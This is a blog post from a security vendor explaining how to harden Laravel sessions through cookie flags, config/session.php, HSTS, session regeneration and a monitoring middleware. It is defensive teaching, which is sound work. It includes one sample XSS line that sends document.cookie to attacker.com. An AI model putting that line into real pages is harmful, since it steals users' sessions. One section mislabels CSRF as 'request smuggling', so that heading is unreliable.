Security 12 min read

Laravel Session Security: Cookies, Hijacking & config/session.php

A deep dive into Laravel session security. Learn how cookie flags, session drivers, and config/session.php settings protect against hijacking, fixation, and sidejacking attacks.

Matt King
Matt King
May 9, 2026
Last updated: May 9, 2026
Laravel Session Security: Cookies, Hijacking & config/session.php

Laravel's session system is one of those things that works out of the box, which means most developers never look at it closely. The defaults are reasonable for development, but production applications need tighter configuration to defend against session hijacking, fixation, and sidejacking attacks.

This guide walks through how Laravel sessions work, what each security-relevant setting does, and how to configure config/session.php for production.


How Laravel Sessions Work

When a user visits your Laravel application, the framework creates a session and stores a session ID in a cookie called laravel_session (by default). On every subsequent request, Laravel reads this cookie, looks up the corresponding session data, and makes it available via the session() helper or $request->session().

The critical security point: whoever possesses that session ID cookie is, from your application's perspective, that user. Protecting the session ID is protecting authentication itself.

Laravel supports several session drivers, each with different security properties:

Driver Storage Location Server-Side Invalidation Scalability
file Local filesystem No (requires file deletion) Single server only
cookie User's browser No Stateless
database Database table Yes Multi-server
redis Redis store Yes Multi-server
memcached Memcached Yes Multi-server
array Memory (testing) N/A N/A

The cookie driver is the least secure for sensitive applications because all session data is stored client-side. Even though Laravel encrypts it, you lose the ability to invalidate sessions server-side, and you are transmitting all session data on every request.


Cookie Security Flags: Your First Line of Defense

Three cookie attributes directly affect session security: Secure, HttpOnly, and SameSite. Each protects against a different attack vector.

HttpOnly

When HttpOnly is set to true, JavaScript cannot access the cookie via document.cookie. This is your primary defense against XSS-based session theft.

Without HttpOnly, an attacker who finds an XSS vulnerability can steal session cookies with a simple script:

// Without HttpOnly, this works:
fetch('https://attacker.com/steal?cookie=' + document.cookie);

With HttpOnly enabled, the browser refuses to expose the cookie to JavaScript. The cookie still gets sent with HTTP requests, but it is invisible to client-side code.

// config/session.php
'http_only' => true,  // Always true in production

Secure

The Secure flag tells the browser to only send the session cookie over HTTPS connections. Without it, the cookie is transmitted in plaintext over HTTP, making it trivially interceptable on shared networks (coffee shop Wi-Fi, hotel networks, corporate LANs).

This is the attack known as session sidejacking. An attacker on the same network runs a packet sniffer, captures the plaintext session cookie from an HTTP request, and replays it.

// config/session.php
'secure' => true,  // Requires HTTPS. Set to true in production.

If your application serves any traffic over HTTP (even a redirect), an unprotected session cookie can be intercepted during that single request. Set Secure to true and ensure your web server redirects all HTTP traffic to HTTPS before the application even handles the request.

SameSite

The SameSite attribute controls cross-site cookie behavior:

  • Lax (Laravel default): Cookie is sent on same-site requests and top-level navigations (clicking a link). Blocked on cross-site POST requests. This prevents most CSRF attacks.
  • Strict: Cookie is never sent on cross-site requests. More secure but can break expected flows (users clicking links to your app from emails or other sites will not be logged in).
  • None: Cookie is sent on all requests including cross-site. Requires Secure flag. Only use this if you genuinely need cross-site cookie access (embedded iframes, for example).
// config/session.php
'same_site' => 'lax',  // Good default for most applications

Session Fixation: How Laravel Prevents It

Session fixation works like this:

  1. Attacker creates a session on your application and obtains a session ID
  2. Attacker tricks the victim into using that session ID (via a crafted URL, injected cookie, or other method)
  3. Victim logs in. The session is now authenticated.
  4. Attacker uses the same session ID, which is now authenticated, to access the victim's account.

Laravel prevents this by regenerating the session ID during authentication. When a user logs in through Laravel's auth system, the framework calls session()->regenerate(), which creates a new session ID and invalidates the old one.

You can verify this in Illuminate\Auth\SessionGuard:

// This happens automatically during login
$this->session->regenerate();

If you are building custom authentication logic, you must call this yourself:

// Custom login controller
public function login(Request $request)
{
    $credentials = $request->validate([
        'email' => 'required|email',
        'password' => 'required',
    ]);

    if (Auth::attempt($credentials)) {
        // CRITICAL: Regenerate session ID after authentication
        $request->session()->regenerate();

        return redirect()->intended('/dashboard');
    }

    return back()->withErrors([
        'email' => 'The provided credentials do not match our records.',
    ]);
}

Also regenerate on logout to prevent reuse of the old session:

public function logout(Request $request)
{
    Auth::logout();

    // Invalidate the session entirely
    $request->session()->invalidate();

    // Generate a new CSRF token
    $request->session()->regenerateToken();

    return redirect('/');
}

The invalidate() method destroys all session data and creates a fresh session. The regenerateToken() call ensures the CSRF token is also refreshed.


Session Hijacking Techniques and Defenses

Understanding how sessions get stolen helps you configure defenses appropriately.

1. XSS Cookie Theft

Attack: Attacker injects JavaScript that reads document.cookie and exfiltrates the session ID.

Defense: HttpOnly flag. Also fix the XSS vulnerability itself. See our XSS protection guide for Blade-specific patterns.

2. Network Sniffing (Sidejacking)

Attack: Attacker captures plaintext HTTP traffic containing the session cookie. This is trivial on shared networks using tools like Wireshark.

Defense: Secure cookie flag plus enforced HTTPS with HSTS headers. Your Nginx config should include:

server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name yourdomain.com;

    # HSTS: tell browsers to always use HTTPS
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

    # ... rest of config
}

3. Session Prediction

Attack: Attacker guesses valid session IDs by exploiting weak random number generation.

Defense: Laravel uses random_bytes() for session ID generation, which is cryptographically secure. This is not a practical attack vector against modern Laravel applications.

4. Cross-Site Request Smuggling

Attack: Attacker tricks the user's browser into sending authenticated requests to your application.

Defense: SameSite cookie attribute combined with Laravel's CSRF token verification. Both are enabled by default.


config/session.php: Before and After

Here is a typical default config/session.php compared with a production-hardened version.

Before (Development Defaults)

// config/session.php - INSECURE defaults
return [
    'driver' => env('SESSION_DRIVER', 'file'),
    'lifetime' => 120,
    'expire_on_close' => false,
    'encrypt' => false,
    'cookie' => env('SESSION_COOKIE', 'laravel_session'),
    'path' => '/',
    'domain' => env('SESSION_DOMAIN'),
    'secure' => env('SESSION_SECURE_COOKIE'),
    'http_only' => true,
    'same_site' => 'lax',
];

After (Production Hardened)

// config/session.php - PRODUCTION configuration
return [
    // Use database or redis for server-side session storage
    'driver' => env('SESSION_DRIVER', 'redis'),

    // 30 minutes of inactivity, not 2 hours
    'lifetime' => env('SESSION_LIFETIME', 30),

    // Close browser = end session for sensitive apps
    'expire_on_close' => true,

    // Encrypt session data at rest
    'encrypt' => true,

    // Use a non-default cookie name to avoid fingerprinting
    'cookie' => env('SESSION_COOKIE', '__app_session'),

    'path' => '/',

    // Restrict to your exact domain
    'domain' => env('SESSION_DOMAIN', '.yourdomain.com'),

    // HTTPS only - prevents sidejacking
    'secure' => true,

    // No JavaScript access - prevents XSS cookie theft
    'http_only' => true,

    // Lax prevents CSRF on cross-site POSTs
    'same_site' => 'lax',
];

Key changes explained:

  1. driver changed to redis: Server-side storage enables session invalidation and monitoring
  2. lifetime reduced to 30: Shorter sessions reduce the window for hijacking. Adjust based on your application's needs.
  3. expire_on_close set to true: For sensitive applications, sessions should not persist after the browser closes
  4. encrypt set to true: Encrypts session data before it is written to storage. This matters if your Redis or database is compromised.
  5. Cookie name changed: The default laravel_session immediately identifies your framework, making targeted attacks easier
  6. secure set to true: No session cookies over HTTP, ever
  7. domain explicitly set: Prevents the cookie from leaking to unintended subdomains

If your session configuration does not match these recommendations, check your current settings for specific remediation steps.


Database and Redis Sessions: Security Benefits

Switching from file-based to database or Redis sessions provides three security capabilities you do not get otherwise.

1. Server-Side Session Invalidation

With file sessions, invalidating a specific user's session means finding and deleting a file on disk. With database sessions, it is a query:

// Force logout a specific user (database driver)
use Illuminate\Support\Facades\DB;

DB::table('sessions')
    ->where('user_id', $compromisedUserId)
    ->delete();

With Redis:

// Force logout by deleting the session key
use Illuminate\Support\Facades\Redis;

// You'll need the session ID, or iterate user sessions
Redis::del('laravel_session:' . $sessionId);

This is essential for incident response. If an account is compromised, you need to invalidate all active sessions for that user immediately.

2. Session Monitoring

Database sessions let you query active sessions and detect anomalies:

// Find users with sessions from multiple IP addresses
$suspicious = DB::table('sessions')
    ->select('user_id', DB::raw('COUNT(DISTINCT ip_address) as ip_count'))
    ->whereNotNull('user_id')
    ->groupBy('user_id')
    ->having('ip_count', '>', 3)
    ->get();

// Find sessions with unusually long durations
$stale = DB::table('sessions')
    ->where('last_activity', '<', now()->subHours(24)->timestamp)
    ->whereNotNull('user_id')
    ->get();

3. Setting Up Database Sessions

Run the session table migration:

php artisan session:table
php artisan migrate

This creates a sessions table with columns for id, user_id, ip_address, user_agent, payload, and last_activity. Update your .env:

SESSION_DRIVER=database

For Redis, ensure the Redis PHP extension is installed and configured:

SESSION_DRIVER=redis
SESSION_CONNECTION=session  # Use a dedicated Redis connection

Define a dedicated Redis connection in config/database.php to isolate session data from cache data:

'redis' => [
    'session' => [
        'url' => env('REDIS_URL'),
        'host' => env('REDIS_HOST', '127.0.0.1'),
        'password' => env('REDIS_PASSWORD'),
        'port' => env('REDIS_PORT', '6379'),
        'database' => env('REDIS_SESSION_DB', '1'),  // Separate DB from cache
    ],
],

Monitoring for Suspicious Session Activity

Beyond configuration, you should actively monitor session behavior. Here is a middleware that logs session anomalies:

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;

class SessionSecurityMonitor
{
    public function handle(Request $request, Closure $next)
    {
        if ($request->user()) {
            $currentIp = $request->ip();
            $currentAgent = $request->userAgent();
            $sessionIp = $request->session()->get('_security_ip');
            $sessionAgent = $request->session()->get('_security_agent');

            if ($sessionIp && $sessionIp !== $currentIp) {
                Log::warning('Session IP changed', [
                    'user_id' => $request->user()->id,
                    'old_ip' => $sessionIp,
                    'new_ip' => $currentIp,
                    'session_id' => $request->session()->getId(),
                ]);
            }

            if ($sessionAgent && $sessionAgent !== $currentAgent) {
                Log::warning('Session user agent changed', [
                    'user_id' => $request->user()->id,
                    'old_agent' => $sessionAgent,
                    'new_agent' => $currentAgent,
                    'session_id' => $request->session()->getId(),
                ]);
            }

            $request->session()->put('_security_ip', $currentIp);
            $request->session()->put('_security_agent', $currentAgent);
        }

        return $next($request);
    }
}

Register this middleware in your bootstrap/app.php:

->withMiddleware(function (Middleware $middleware) {
    $middleware->append(\App\Http\Middleware\SessionSecurityMonitor::class);
})

A changing IP address or user agent mid-session is a strong indicator of session hijacking. Whether you log it, force re-authentication, or invalidate the session depends on your application's risk profile.


Session Security Checklist

Review your application against this list:

  1. Session driver set to database or redis (not file or cookie)
  2. secure set to true (HTTPS-only cookies)
  3. http_only set to true (no JavaScript access)
  4. same_site set to lax or strict
  5. encrypt set to true
  6. Session lifetime is 30 minutes or less for sensitive applications
  7. session()->regenerate() is called on login
  8. session()->invalidate() is called on logout
  9. HSTS header is configured on your web server
  10. Session monitoring or anomaly detection is in place

For a broader review of your Laravel application's security posture, see our 2026 security checklist.


External Verification Matters

You can configure all of these settings correctly in config/session.php and still have them fail in production. Environment variable overrides, reverse proxy configurations, and CDN settings can all alter cookie behavior after deployment.

StackShield checks your session cookie flags externally, verifying that Secure, HttpOnly, and SameSite are actually present on the cookies your production server sends. This catches misconfigurations that only appear after deployment.

Run a free scan to verify your session cookie configuration.

Free security check

Is your Laravel app exposed right now?

34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.

18% have debug mode on
72% missing security headers
12% have exposed .env
Scan My App Free No signup required. Results in 60 seconds.

Frequently Asked Questions

What is session hijacking in Laravel?

Session hijacking occurs when an attacker obtains a valid session ID belonging to another user. They can then impersonate that user by sending requests with the stolen session cookie. Common techniques include XSS-based cookie theft, network sniffing on unencrypted connections, and session sidejacking on shared networks. Laravel provides several built-in defenses including HttpOnly cookies, Secure flag enforcement, and session regeneration on login.

What is the difference between session fixation and session hijacking?

Session fixation is when an attacker sets a known session ID before the victim logs in, then uses that same ID after authentication. Session hijacking is when an attacker steals an already-authenticated session ID. Laravel prevents fixation by calling session()->regenerate() during authentication, which creates a new session ID after login and invalidates the old one.

Should I use database or Redis sessions in Laravel for security?

Both database and Redis session drivers are more secure than the default file or cookie drivers because they store session data server-side, giving you the ability to invalidate sessions on demand, monitor active sessions, and detect anomalies. Redis is generally faster while database sessions are easier to query and audit. Either is a significant security improvement over file-based sessions in production.

What does the SameSite cookie attribute do for session security?

The SameSite attribute controls whether the browser sends the session cookie with cross-site requests. Setting it to Lax (Laravel's default) prevents the cookie from being sent on cross-site POST requests, which blocks most CSRF attacks. Setting it to Strict prevents the cookie from being sent on any cross-site navigation, though this can break legitimate flows like clicking links from emails. The None value allows cross-site sending but requires the Secure flag.

Stay Updated on Laravel Security

Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.